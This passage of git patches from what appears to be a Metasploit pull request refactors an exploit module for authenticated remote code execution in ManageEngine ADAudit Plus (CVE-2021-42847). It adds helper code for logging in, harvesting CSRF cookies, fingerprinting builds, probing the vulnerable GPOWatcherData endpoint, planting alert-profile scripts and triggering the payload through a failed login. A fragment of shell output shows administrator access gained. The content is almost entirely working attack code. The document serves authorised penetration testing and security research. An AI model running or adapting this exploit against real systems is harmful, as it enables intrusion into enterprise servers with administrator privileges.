Plus\bin>whoami +lies\administrator PS C:\Program Files\ManageEngine\ADAudit Plus\bin> ``` diff --git a/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb index bcaad8bc5d..7e0bba40a1 100644 --- a/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb +++ b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb @@ -39,16 +39,22 @@ class MetasploitModule < Msf::Exploit::Remote privileges to create alert scripts. It has been successfully tested against ManageEngine ADAudit Plus builds 7003 and 7005 running on Windows Server 2012 R2. + + Successful exploitation will result in RCE as the user running + ManageEngine ADAudit Plus, which will typically be the local + administrator. }, 'License' => MSF_LICENSE, 'Author' => [ 'Moon', # CVE-2021-42847 discovery - 'Erik Wynter' # @wyntererik - Additional research and Metasploit + 'Erik Wynter' # @wyntererik - Additional research and Metasploit module ], 'References' => [ ['CVE', '2021-42847'], + ['URL', 'https://pitstop.manageengine.com/portal/en/community/topic/fix-released-for-a-vulnerability-in-manageengine-adaudit-plus'], + ['URL', 'https://www.manageengine.com/products/active-directory-audit/adaudit-plus-release-notes.html'] ], - 'Privileged' => false, + 'Privileged' => true, 'DisclosureDate' => '2021-10-01', 'Platform' => 'win', 'Arch' => ARCH_CMD, @@ -113,11 +119,16 @@ class MetasploitModule < Msf::Exploit::Remote 0 end - # this method will return an Array consisting of a return code and either a cookie or a failure message + # this method will return an Array consisting of a return code and either a cookie, a failure message, or an empty string (if no cookie is needed) # return code 0 means authentication succeeded # return code 1 indicates failure corresponding to CheckCode::Unknown and Failure::Unknown - # return code 2 indicates invalid credentials, this corresponds to CheckCode::Safe and Failure::NoAccess + # return code 2 indicates invalid credentials, this corresponds to CheckCode::Safe and Failure::NoAccess def authenticate(mode = 'standard') + # Make sure domain_alias is populated in case the user opted not to run the check code. + if @domain_alias.blank? + @domain_alias = auth_domain + end + if mode == 'trigger_payload' cookie_jar.clear # let's start fresh print_status("Attempting to trigger the payload via an authentication attempt for domain #{@domain_alias} using incorrect credentials.") @@ -127,17 +138,17 @@ class MetasploitModule < Msf::Exploit::Remote end # visit the default page again to get required cookies - res1 = send_request_cgi({ + res_initial_cookies = send_request_cgi({ 'uri' => normalize_uri(target_uri.path), 'method' => 'GET', 'keep_cookies' => true }) - unless res1 + unless res_initial_cookies return [1, "Connection failed.#{trigger_attempt_fail_message}"] end - unless res1.code == 200 && res1.headers.include?('Set-Cookie') + unless res_initial_cookies.code == 200 && res_initial_cookies.headers.include?('Set-Cookie') return [1, "Failed to obtain the necessary cookies to proceed.#{trigger_attempt_fail_message}"] end @@ -145,22 +156,21 @@ class MetasploitModule < Msf::Exploit::Remote unless mode == 'silent' vprint_status('Attempting to obtain the required cookies for authentication') end - res2 = send_request_cgi({ + res_extra_cookies = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'adsf', 'js', 'common', 'JumpTo.js'), 'method' => 'GET', 'keep_cookies' => true }) - unless res2 + unless res_extra_cookies return [1, "Connection failed.#{trigger_attempt_fail_message}"] end - unless res2.code == 200 && res2.headers.include?('Set-Cookie') && res2.get_cookies =~ /adapcsrf=[a-z0-9]{128}/ - return [1, "Failed to obtain the cookies required for authentication#{trigger_attempt_fail_message}"] + unless res_extra_cookies.code == 200 && res_extra_cookies.headers.include?('Set-Cookie') && res_extra_cookies.get_cookies =~ /adapcsrf=[a-z0-9]{128}/ + return [1, "Failed to obtain the cookies required for authentication.#{trigger_attempt_fail_message}"] end - # finally try to authenticate - if mode == 'trigger_payload' # we should provide incorrect credentials + if mode == 'trigger_payload' # We should provide incorrect credentials to trigger the custom alert profile post_vars = { 'forChecking' => '', 'j_username' => rand_text_alphanumeric(5..8), @@ -181,7 +191,7 @@ class MetasploitModule < Msf::Exploit::Remote if mode == 'standard' print_status('Trying to authenticate...') end - res3 = send_request_cgi({ + res_login = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'j_security_check'), 'method' => 'POST', 'keep_cookies' => true, @@ -189,42 +199,42 @@ class MetasploitModule < Msf::Exploit::Remote }) if mode == 'trigger_payload' - # if we're only here to trigger the payload, we don't need to perform any additional requests / parsing - if res3 - if res3.code == 200 && res3.body =~ /<title>ADAudit Plus/ + # if we're only here to trigger the payload, we should only verify the response code and HTTP title + if res_login + if res_login.code == 200 && res_login.body =~ /<title>ADAudit Plus/ print_status("Trigger attempt completed. Let's hope we get a shell...") else print_warning('Received unexpected reply after sending the trigger request. Exploitation may not work.') end else print_error('Connection failed while trying to trigger the payload, exploitation most likely failed.') - print_warning(trigger_attempt_fail_message) + print_error(trigger_attempt_fail_message) end - # we don't need to return a cookie here - return [0, nil] + # we don't need to return a cookie here so let's set it to an empty string + return [0, ''] end - unless res3 + unless res_login return [1, 'Connection failed'] end - unless res3.code == 303 && res3.headers.include?('Set-Cookie') + unless res_login.code == 303 && res_login.headers.include?('Set-Cookie') return [2, 'Failed to authenticate.'] end # check if we are actually logged in by visiting the home page - res4 = send_request_cgi({ + res_post_auth = send_request_cgi({ 'uri' => normalize_uri(target_uri.path), 'method' => 'GET', 'keep_cookies' => true }) - unless res4 + unless res_post_auth return [1, 'Connection failed'] end - unless res4.code == 200 && res4.body.include?('ManageEngine ADAudit Plus web client is initializing') + unless res_post_auth.code == 200 && res_post_auth.body.include?('ManageEngine ADAudit Plus web client is initializing') return [2, 'The web app failed to load after authenticating'] end @@ -275,17 +285,22 @@ class MetasploitModule < Msf::Exploit::Remote end build = res.body.scan(/"buildNumber":"(.*?)",/)&.flatten&.first - if build.nil? || build.empty? + if build.blank? return CheckCode::Detected('No build number was obtained.') end - build_version = Rex::Version.new(build) + begin + build_version = Rex::Version.new(build) + rescue StandardError + return CheckCode::Unknown("Recieved an invalid build number: #{build}") + end + if build_version < Rex::Version.new('7004') @exploit_method = 'default' return CheckCode::Appears("The target is ADAudit Plus #{build_version}") end - # for builds 7004 and 7005 exploitation will still be possible via CVE-2021-42847 is the vulnerable endpoint exists + # For builds 7004 and 7005 exploitation will still be possible via CVE-2021-42847 if the vulnerable endpoint exists if build_version < Rex::Version.new('7006') endpoint_check = gpo_watcher_data_check case endpoint_check @@ -318,8 +333,7 @@ class MetasploitModule < Msf::Exploit::Remote }) unless res - print_error('Connection failed while attempting to obtain the list of configured domains...') - return [1, nil] + return [1, 'Connection failed while attempting to obtain the list of configured domains...'] end if res.code == 200 && res.body.include?('domainFullList') @@ -344,20 +358,18 @@ class MetasploitModule < Msf::Exploit::Remote end end rescue JSON::ParserError => e - print_error('Failed to identify any configured domains - The server response did not contain valid JSON') - print_line(e) + print_error('Failed to identify any configured domains - The server response did not contain valid JSON.') + print_error("Error was: #{e.message}") end end else - print_error('Failed to obtain the list of configured domains.') - print_warning('While this failure is not critical, it is unexpected, so the exploit may fail.') + print_warning('Failed to obtain the list of configured domains. This is not critical, but is unexpected behavior, so the exploit may fail.') end # return the value of the adapcsrf cookie, which will be required for later actions adapcsrf_cookie = cookie_jar.cookies.select { |k| k.name == 'adapcsrf' }&.first if adapcsrf_cookie.blank? || adapcsrf_cookie.value.blank? - print_error('Failed to obtain the required adapcsrf cookie') - return [2, nil] + return [2, 'Failed to obtain the required adapcsrf cookie'] end [0, adapcsrf_cookie.value] @@ -366,7 +378,7 @@ class MetasploitModule < Msf::Exploit::Remote def delete_alert(adapcsrf_cookie) print_status("Attempting to delete alert profile #{@alert_name}") # let's try and get the the ID of the alert we want to delete - res1 = send_request_cgi({ + res_get_alert = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'api', 'json', 'leftTrees', 'getLeftTreeList'), 'method' => 'POST', 'keep_cookies' => true, @@ -376,21 +388,24 @@ class MetasploitModule < Msf::Exploit::Remote } }) - unless res1 - print_error("Connection failed when attempting to obtain the alert profile ID #{@alert_name}") - print_warning('Manual cleanup required.') + unless res_get_alert + print_warning("Connection failed when attempting to obtain the alert profile ID #{@alert_name}. Manual cleanup required.") return end - unless res1.code == 200 && res1.body =~ /modelId":(\d+),"name":"#{@alert_name}/ - print_error("Received unexpected reply when attempting to obtain the alert profile ID #{@alert_name}") - print_warning('Manual cleanup required.') + unless res_get_alert.code == 200 && !res_get_alert.body.empty? + print_warning("Received unexpected reply when attempting to obtain the alert profile ID #{@alert_name}. Manual cleanup required.") return end - alert_id = res1.body.scan(/modelId":(\d+),"name":"#{@alert_name}/)&.flatten&.first + alert_id = res_get_alert.body.scan(/modelId":(\d+),"name":"#{@alert_name}/)&.flatten&.first + if alert_id.nil? + print_warning("Failed to obtain the alert profile ID #{@alert_name}. Manual cleanup required.") + return + end - res2 = send_request_cgi({ + # delete the alert + res_delete_alert = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'api', 'json', 'config', 'alertprofiles', 'delete'), 'method' => 'POST', 'keep_cookies' => true, @@ -400,39 +415,25 @@ class MetasploitModule < Msf::Exploit::Remote } }) - unless res2 - print_error("Connection failed when attempting to delete alert profile #{@alert_name}") - print_warning('Manual cleanup required.') + unless res_delete_alert + print_warning("Connection failed when attempting to delete alert profile #{@alert_name}. Manual cleanup required.") return end - unless res2.code == 200 && res2.body.include?('Successfully deleted the alert profile') - print_error("Received unexpected reply when attempting to delete alert profile #{@alert_name}") - print_warning('Manual cleanup required.') + unless res_delete_alert.code == 200 && res_delete_alert.body.include?('Successfully deleted the alert profile') + print_warning("Received unexpected reply when attempting to delete alert profile #{@alert_name}. Manual cleanup required.") return end print_good("Successfully deleted alert profile #{@alert_name}") end - def alert_json_string - { - 'inputParams' => { - 'alertid' => 'All', - 'chosenServerValue' => 'twfourhours', - 'alertType' => '0', - 'totalCount' => 0, - 'getTime' => false - } - }.to_json - end - def create_alert_profile if @exploit_method == 'cve_2021_42847' print_status('Attempting to authenticate again in order to retrieve the required cookies.') # we have to authenticate again in order to get the required cookie cookie_jar.clear - auth_res_code, cookie_or_err_msg = authenticate('silent') # need to add modes for authenticate (regular, trigger or cleanup) + auth_res_code, cookie_or_err_msg = authenticate('silent') case auth_res_code when 1 fail_with(Failure::Unknown, cookie_or_err_msg) @@ -445,25 +446,25 @@ class MetasploitModule < Msf::Exploit::Remote print_status('Attempting to create an alert profile') # visit /api/json/jsMessage to see if we're dealing with 7003 or lower - res1 = send_request_cgi({ + res_check_7004 = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'api', 'json', 'jsMessage'), 'method' => 'POST', 'keep_cookies' => true, 'vars_post' => { 'adapcsrf' => @adapcsrf_cookie } }) - unless res1 + unless res_check_7004 fail_with(Failure::Unknown, 'Connection failed when trying to get the required info via /api/json/jsMessage') end - unless res1.code == 200 && res1.body.include?('adap_common_script_info') + unless res_check_7004.code == 200 && res_check_7004.body.include?('adap_common_script_info') fail_with(Failure::Unknown, 'Received unexpected response when trying to get the required info via /api/json/jsMessage') end alert_script_7004_msg = 'Your alert profile script path configuration is not compliant with the constraints listed below and needs to '\ 'be changed. These constraints have been introduced in the latest build of ADAudit Plus 7004, to enhance security' - if res1.body.include?(alert_script_7004_msg) + if res_check_7004.body.include?(alert_script_7004_msg) # we are dealing with 7004 or higher. so exploitation can only succeed if the exploit method is cve_2021_42847 unless @exploit_method == 'cve_2021_42847' # let's check for the CVE-2021-42847 endpoint in case the user has disabled autocheck @@ -474,7 +475,7 @@ class MetasploitModule < Msf::Exploit::Remote # here we have to authenticate again in order to get the required cookie cookie_jar.clear - auth_res_code, cookie_or_err_msg = authenticate('silent') # need to add modes for authenticate (regular, trigger or cleanup) + auth_res_code, cookie_or_err_msg = authenticate('silent') case auth_res_code when 1 fail_with(Failure::Unknown, cookie_or_err_msg) @@ -489,8 +490,9 @@ class MetasploitModule < Msf::Exploit::Remote @ps1_script_name = create_alert_script end + # save the alert profile @alert_name, alert_data = alert_profile_info - res2 = send_request_cgi({ + res_save_alert = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'api', 'json', 'config', 'alertprofiles', 'save'), 'method' => 'POST', 'keep_cookies' => true, @@ -500,12 +502,12 @@ class MetasploitModule < Msf::Exploit::Remote } }) - unless res2 + unless res_save_alert fail_with(Failure::Unknown, 'Connection failed when trying to create an alert profile via /api/json/config/alertprofiles/save') end - unless res2.code == 200 && res2.body.include?('Successfully Saved the Alert Profile') - print_error("The server sent the following response: #{res2.body&.strip}") + unless res_save_alert.code == 200 && res_save_alert.body.include?('Successfully Saved the Alert Profile') + print_error("The server sent the following response: #{res_save_alert.body&.strip}") @alert_name = nil # if we are here the alert profile was not created so let's skip cleanup by setting @alert_name to nil fail_with(Failure::Unknown, 'Failed to create an alert profile via /api/json/config/alertprofiles/save') end @@ -695,10 +697,9 @@ class MetasploitModule < Msf::Exploit::Remote print_error('Failed to obtain a shell. You could try increasing the WfsDelay value') end cookie_jar.clear - auth_res_code, cookie_or_err_msg = authenticate('silent') # need to add modes for authenticate (regular, trigger or cleanup) + auth_res_code, cookie_or_err_msg = authenticate('silent') unless auth_res_code == 0 - print_error('Failed to authenticate in order to perform cleanup') - print_warning('Manual cleanup required') + print_warning('Failed to authenticate in order to perform cleanup. Manual cleanup required.') return end @@ -713,7 +714,7 @@ class MetasploitModule < Msf::Exploit::Remote # I noticed the the meterpreter payloads wouldn't always load stdapi and/or priv automatically # but when loading them manually, they worked it fine if datastore['PAYLOAD'] =~ /meterpreter/ # I tried using cli.type == 'meterpreter' but that broke the module for some reason - vprint_warning("If the client portion of stdapi or priv fails to load, you can do so manually via 'load stdapi' and/or load priv'") + print_warning("If the client portion of stdapi or priv fails to load, you can do so manually via 'load stdapi' and/or load priv'") end if @ps1_script_name From 47d374497a0bad6e4f14e4b4257ee1f60136aad3 Mon Sep 17 00:00:00 2001 From: ErikWynter <erik.wynter@gmail.com> Date: Fri, 28 Oct 2022 15:57:57 +0300 Subject: [PATCH 03/26] create adaudit plus mixin and move some stuff there --- .../remote/http/manageengine_adaudit_plus.rb | 38 ++ .../json_post_data.rb | 37 ++ .../http/manageengine_adaudit_plus/login.rb | 124 +++++ .../manageengine_adaudit_plus/target_info.rb | 141 +++++ .../http/manageengine_adaudit_plus/uris.rb | 39 ++ ...geengine_adaudit_plus_authenticated_rce.rb | 494 +++++------------- 6 files changed, 513 insertions(+), 360 deletions(-) create mode 100644 lib/msf/core/exploit/remote/http/manageengine_adaudit_plus.rb create mode 100644 lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/json_post_data.rb create mode 100644 lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/login.rb create mode 100644 lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/target_info.rb create mode 100644 lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/uris.rb diff --git a/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus.rb b/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus.rb new file mode 100644 index 0000000000..da81a02c1a --- /dev/null +++ b/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus.rb @@ -0,0 +1,38 @@ +module Msf + class Exploit + class Remote + module HTTP + # This module provides a way of interacting with ManageEngine ADAudit Plus installations + module ManageengineAdauditPlus + SUCCESS = 0 + CONNECTION_FAILED = 1 + UNEXPECTED_REPLY = 2 + NO_MATCH = 3 + NO_ACCESS = 4 + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::Login + include Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::JsonPostData + include Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::TargetInfo + include Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::URIs + + def initialize(info = {}) + super + + register_options( + [ + Msf::OptString.new('TARGETURI', [true, 'The base path to the ManageEnginge ADAudit Plus application', '/']), + Msf::OptString.new('USERNAME', [false, 'Username to authenticate with', 'admin']), + Msf::OptString.new('PASSWORD', [false, 'Password to authenticate with', 'admin']), + + ], Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus + ) + end + + def adaudit_plus_status + Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus + end + end + end + end + end +end diff --git a/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/json_post_data.rb b/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/json_post_data.rb new file mode 100644 index 0000000000..be4056464c --- /dev/null +++ b/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/json_post_data.rb @@ -0,0 +1,37 @@ +# -*- coding: binary -*- +module Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::JsonPostData + # Returns the URI for the GPOWatcherData endpoint + # + # @return [String] ManageEnginge ADAudit Plus GPOWatcherData endpoint URI + def generate_gpo_watcher_data_json(options) + post_data = {} + post_data['isGPOData'] = options['isGPOData'] || true + post_data['DOMAIN_NAME'] = options['DOMAIN_NAME'] || '' + post_data['GPO_GUID'] = options['GPO_GUID'] || generate_gpo_guid + post_data['GPO_VERSION'] = options['GPO_VERSION'] || rand(1..9) + post_data['VER_FILE_NAME'] = options['VER_FILE_NAME'] || generate_ver_file_name + post_data['xmlReport'] = options['xmlReport'] || '<?xml version="1.0" encoding="utf-16"?>' + + html_filename = options['Html_fileName'] + post_data['Html_fileName'] = html_filename if html_filename + + html_report = options['htmlReport'] + post_data['htmlReport'] = html_report if html_report + + post_data.to_json + end + + # Returns a String matching the standard format for GPO GUIDs + # + # @return [String] Randomly generated String matching the standard format for GPO GUIDs + def generate_gpo_guid + "{#{Rex::Text.rand_text_alphanumeric(8)}-#{Rex::Text.rand_text_alphanumeric(4)}-#{Rex::Text.rand_text_alphanumeric(4)}-#{Rex::Text.rand_text_alphanumeric(4)}-#{Rex::Text.rand_text_alphanumeric(12)}}".downcase + end + + # Returns a String matching the VER_FILE_NAME format used by ADAudit Plus + # + # @return [String] Randomly generated String matching the the VER_FILE_NAME format used by ADAudit Plus + def generate_ver_file_name + "#{rand(1..9)}_#{Rex::Text.rand_text_numeric(18)}".downcase + '.xml' + end +end diff --git a/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/login.rb b/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/login.rb new file mode 100644 index 0000000000..fc775301a4 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/login.rb @@ -0,0 +1,124 @@ +# -*- coding: binary -*- +module Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::Login + include Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::TargetInfo # for + include Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::URIs + + # performs a ManageEngine ADAudit Plus login + # + # @param mode [String] Mode + # @param auth_domain [String] Authentication domain + # @param user [String] Username + # @param pass [String] Password + # @return [Array] Array containing two to four items, depending on the results: a status code (Integer), a status message (String), a cookie (String), an Array of configured domains as Strings + def adaudit_plus_login(mode, auth_domain, user='', pass='') + cookie_jar.clear # let's start fresh + if mode == 'trigger_payload' + print_status("Attempting to trigger the payload via an authentication attempt for domain #{@domain_alias} using incorrect credentials.") + trigger_attempt_fail_message = " You can try to manually trigger the payload via a failed login attempt for the #{@domain_alias} domain." + else + trigger_attempt_fail_message = '' + end + + # visit the default page again to get required cookies + res_initial_cookies = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'method' => 'GET', + 'keep_cookies' => true + }) + + unless res_initial_cookies + return [adaudit_plus_status::CONNECTION_FAILED, "Connection failed.#{trigger_attempt_fail_message}"] + end + + unless res_initial_cookies.code == 200 && res_initial_cookies.headers.include?('Set-Cookie') + return [adaudit_plus_status::UNEXPECTED_REPLY, "Failed to obtain the necessary cookies to proceed.#{trigger_attempt_fail_message}"] + end + + # visit another page for more required cookies + unless mode == 'silent' + vprint_status('Attempting to obtain the required cookies for authentication') + end + + res_extra_cookies = send_request_cgi({ + 'uri' => adaudit_plus_jump_to_js_uri, + 'method' => 'GET', + 'keep_cookies' => true + }) + + unless res_extra_cookies + return [adaudit_plus_status::CONNECTION_FAILED, "Connection failed.#{trigger_attempt_fail_message}"] + end + + unless res_extra_cookies.code == 200 && res_extra_cookies.headers.include?('Set-Cookie') && res_extra_cookies.get_cookies =~ /adapcsrf=[a-z0-9]{128}/ + return [adaudit_plus_status::UNEXPECTED_REPLY, "Failed to obtain the cookies required for authentication.#{trigger_attempt_fail_message}"] + end + + case mode + when 'standard_auth' + print_status('Trying to authenticate...') + when 'trigger_payload' + vprint_status('Trying to authenticate...') + end + + post_vars = { + 'forChecking' => '', + 'j_username' => user, + 'j_password' => pass, + 'domainName' => auth_domain, + 'AUTHRULE_NAME' => 'Authenticator' + } + + res_login = send_request_cgi({ + 'uri' => adaudit_plus_login_uri, + 'method' => 'POST', + 'keep_cookies' => true, + 'vars_post' => post_vars + }) + + if mode == 'trigger_payload' + # if we're only here to trigger the payload, we should only verify the response code and HTTP title + if res_login + if res_login.code == 200 && res_login.body =~ /<title>ADAudit Plus/ + print_status("Trigger attempt completed. Let's hope we get a shell...") + else + print_warning('Received unexpected reply after sending the trigger request. Exploitation may not work.') + end + else + print_error('Connection failed while trying to trigger the payload, exploitation most likely failed.') + print_error(trigger_attempt_fail_message) + end + + # we don't need to return a message or cookie here so let's set these to empty strings + return [adaudit_plus_status::SUCCESS, '', ''] + end + + return [adaudit_plus_status::CONNECTION_FAILED, 'Connection failed'] unless res_login + + unless res_login.code == 303 && res_login.headers.include?('Set-Cookie') + return [adaudit_plus_status::NO_ACCESS, 'Failed to authenticate.'] + end + + # check if we are actually logged in by visiting the home page + res_post_auth = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'method' => 'GET', + 'keep_cookies' => true + }) + + return [adaudit_plus_status::CONNECTION_FAILED, 'Connection failed'] unless res_post_auth + + unless res_post_auth.code == 200 && res_post_auth.body.include?('ManageEngine ADAudit Plus web client is initializing') + return [adaudit_plus_status::NO_ACCESS, 'The web app failed to load after authenticating'] + end + + # return the value of the adapcsrf cookie, which will be required for later actions + adapcsrf_cookie = cookie_jar.cookies.select { |k| k.name == 'adapcsrf' }&.first + if adapcsrf_cookie.blank? || adapcsrf_cookie.value.blank? + return [adaudit_plus_status::NO_ACCESS, 'Failed to obtain the required adapcsrf cookie'] + end + + # In order to get a cookie we can actually use, we now need to obtain the configured domains via the api + # the adaudit_plus_obtain_configured_domains uses the same return format as this method + adaudit_plus_grab_configured_domains(adapcsrf_cookie.value, mode) + end +end diff --git a/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/target_info.rb b/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/target_info.rb new file mode 100644 index 0000000000..a3d59d57ec --- /dev/null +++ b/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/target_info.rb @@ -0,0 +1,141 @@ +# -*- coding: binary -*- +module Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::TargetInfo + include Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::URIs + + # Check is a target is likely a ManageEngine ADAudit Plus app + # + # @return [Array] Array containing a status code (Integer) and status message (String). If the target is ADAudit Plus, the Array also contains the server response + def adaudit_plus_target_check + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'method' => 'GET' + }) + + return [adaudit_plus_status::CONNECTION_FAILED, 'Connection failed'] unless res + unless res.code == 200 && res.body =~ /<title>ADAudit Plus/ + return [adaudit_plus_status::UNEXPECTED_REPLY, 'The target does not appear to be MangeEngine ADAudit Plus'] + end + + [adaudit_plus_status::SUCCESS, 'The target appears to be MangeEngine ADAudit Plus', res] + end + + # Extract the configured aliases for configured active directory domains from an HTTP response body + # + # @param res_body [String] HTTP response body obtained via a GET request to the ADAudit Plus base path + # @return [Array] Array containing a status code and status message. If AD domain aliases were found, the Array also contains an Array of Strings for the domain aliases + def adaudit_plus_grab_domain_aliases(res_body) + domain_aliases = res_body.scan(/<select id="domainName" name="domainName".*?<option value="(.*?)">/m)&.flatten + if domain_aliases.blank? || domain_aliases == ["ADAuditPlus Authentication"] + return [adaudit_plus_status::NO_MATCH, "No configured active directory domains were found."] + end + + [adaudit_plus_status::SUCCESS, "Identified #{domain_aliases.length} configured domain alias(es): #{domain_aliases.join(', ')}", domain_aliases] + end + + + def adaudit_plus_grab_configured_domains(adapcsrf_cookie, mode) + if mode != 'silent' + vprint_status('Attempting to obtain the list of configured domains...') + end + + res = send_request_cgi({ + 'uri' => adaudit_plus_configured_domains_uri, + 'method' => 'POST', + 'keep_cookies' => true, + 'vars_post' => { + 'JSONString' => '{"checkGDPR":true}', + 'adapcsrf' => adapcsrf_cookie + } + }) + unless res + return [adaudit_plus_status::CONNECTION_FAILED, 'Connection failed while attempting to obtain the list of configured domains.'] + end + + configured_domains = [] + if res.code == 200 && res.body.include?('domainFullList') + unless mode == 'silent' + begin + domain_info = JSON.parse(res.body) + if domain_info.blank? || !domain_info.include?('domainFullList') || domain_info['domainFullList'].empty? + print_warning('Failed to identify any configured domains.') + else + domain_full_list = domain_info['domainFullList'] + domain_full_list.each do |domain| + next unless domain.is_a?(Hash) && domain.key?('name') + domain_name = domain['name'] + next if domain_name.empty? + configured_domains << domain_name + end + end + rescue JSON::ParserError => e + print_error('Failed to identify any configured domains - The server response did not contain valid JSON.') + print_error("Error was: #{e.message}") + end + end + end + + unless configured_domains.empty? + print_status("Found #{configured_domains.length} configured domain(s): #{configured_domains.join(', ')}") + end + + # return the value of the adapcsrf cookie, which will be required for later actions + # we should try this even if we failed to identify any configured domains + adapcsrf_cookie = cookie_jar.cookies.select { |k| k.name == 'adapcsrf' }&.first + if adapcsrf_cookie.blank? || adapcsrf_cookie.value.blank? + return [adaudit_plus_status::NO_ACCESS, 'Failed to obtain the required post-auth adapcsrf cookie', '', configured_domains] + end + + if configured_domains.empty? + return [adaudit_plus_status::NO_MATCH, 'Failed to obtain the list of configured domains.', adapcsrf_cookie.value] + end + + # we don't need to return a message here, so let's return an empty string + [adaudit_plus_status::SUCCESS, '', adapcsrf_cookie.value, configured_domains] + end + + # Check the build number for the ADAudit Plus installation + # + # @param adapcsrf_cookie [String] A valid adapcsrf_cookie for api calls, can be obtained via the adaudit_plus_login method in login.rb + # @return [Array] Array containing a status code (Integer) and status message (String). If the build number is obtained, the Array also contains a Reg::Version object. + def adaudit_plus_grab_build(adapcsrf_cookie) + vprint_status('Attempting to obtain the ADAudit Plus build number') + + res = send_request_cgi({ + 'uri' => adaudit_plus_license_details_uri, + 'method' => 'POST', + 'keep_cookies' => true, + 'vars_post' => { 'adapcsrf' => adapcsrf_cookie } + }) + + return [adaudit_plus_status::CONNECTION_FAILED, 'Connection failed'] unless res + unless res.code == 200 + return [adaudit_plus_status::UNEXPECTED_REPLY, "Received unexpected HTTP response #{res.code} when attempting to obtain the build number."] + end + + build = res.body.scan(/"buildNumber":"(.*?)",/)&.flatten&.first + return [adaudit_plus_status::NO_MATCH, 'No build number was obtained.'] if build.blank? + + begin + build_version = Rex::Version.new(build) + rescue ArgumentError + return [adaudit_plus_status::UNEXPECTED_REPLY, "Recieved an invalid build number: #{build}"] + end + + [adaudit_plus_status::SUCCESS, "The target is ADAudit Plus #{build}", build_version] + end + + # Check if the GPOWatcherData endpoint is available + # + # @return [Integer] Status code + def gpo_watcher_data_check + res = send_request_cgi({ + 'uri' => adaudit_plus_gpo_watcher_data_uri, + 'method' => 'POST' + }) + + return adaudit_plus_status::CONNECTION_FAILED unless res + return adaudit_plus_status::NO_ACCESS unless res.code == 200 + + adaudit_plus_status::SUCCESS + end +end diff --git a/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/uris.rb b/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/uris.rb new file mode 100644 index 0000000000..4fecf1b3f3 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/manageengine_adaudit_plus/uris.rb @@ -0,0 +1,39 @@ +# -*- coding: binary -*- +module Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus::URIs + # Returns the URI for the GPOWatcherData endpoint + # + # @return [String] ManageEnginge ADAudit Plus GPOWatcherData endpoint URI + def adaudit_plus_gpo_watcher_data_uri + normalize_uri(target_uri.path, 'api', 'agent', 'tabs', 'agentGPOWatcherData') + end + + # Returns the ManageEnginge ADAudit Plus Login URI + # + # @return [String] ManageEnginge ADAudit Plus Login URI + def adaudit_plus_login_uri + normalize_uri(target_uri.path, 'j_security_check') + end + + # Returns the ManageEnginge ADAudit Plus License Details URI + # + # @return [String] ManageEnginge ADAudit Plus License Details URI + def adaudit_plus_license_details_uri + normalize_uri(target_uri.path, 'api', 'json', 'tabs', 'showLicenseDetails') + end + + def adaudit_plus_jump_to_js_uri + normalize_uri(target_uri.path, 'adsf', 'js', 'common', 'JumpTo.js') + end + + def adaudit_plus_configured_domains_uri + normalize_uri(target_uri.path, 'api', 'json', 'configuredDomainsList') + end + + def adaudit_api_js_message_uri + normalize_uri(target_uri.path, 'api', 'json', 'jsMessage') + end + + def adaudit_api_alertprofiles_save_uri + normalize_uri(target_uri.path, 'api', 'json', 'config', 'alertprofiles', 'save') + end +end diff --git a/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb index 7e0bba40a1..2e7f10aed1 100644 --- a/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb +++ b/modules/exploits/windows/http/manageengine_adaudit_plus_authenticated_rce.rb @@ -8,6 +8,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::ManageengineAdauditPlus def initialize(info = {}) super( @@ -103,278 +104,6 @@ class MetasploitModule < Msf::Exploit::Remote datastore['PASSWORD'] end - def gpo_watcher_data_uri - normalize_uri(target_uri.path, 'api', 'agent', 'tabs', 'agentGPOWatcherData') - end - - def 